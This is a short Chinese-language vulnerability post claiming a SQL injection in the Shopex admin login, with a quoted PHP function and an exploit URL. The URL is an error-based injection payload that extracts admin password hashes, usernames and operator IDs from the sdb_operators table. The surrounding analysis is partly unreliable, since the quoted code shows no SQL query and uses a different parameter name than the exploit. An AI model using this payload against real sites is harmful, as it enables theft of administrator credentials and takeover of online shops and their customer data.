Shopex后台登录页面注入漏洞附利用POC

对登录时传递的某参数未做过滤，导致注入的产生
最近做二次开发的时候看到了登录的流程
发现在文件shopexcoreadmincontrollerctl.passport.php
处理了验证码，管理帐号和密码，但是在最底下发现一个sess_id

function certi_validate(){
        $cert = $this->system->loadModel('service/certificate');
        $sess_id = $_POST['session_id'];

        $return = array();
        if($sess_id == $cert->get_sess()){
            $return = array(
                'res' => 'succ',
                'msg' => '',
                'info' => ''
            );

            echo json_encode($return);
        }else{
            $return = array(
                'res' => 'fail',
                'msg' => '000001',
                'info' => 'You have the different session!'
            );

            echo json_encode($return);
        }
    }

没做处理。直接导致sql注入产生。还在学php，分析错的地方请指正
http://www.xxx.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1

利用：

http://www.xxx.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1'+and(select+1+from(select+count(*),concat((select+(select+(select+concat(userpass,0x7e,username,0x7e,op_id)+from+sdb_operators+Order+by+username+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'='1

作者：saline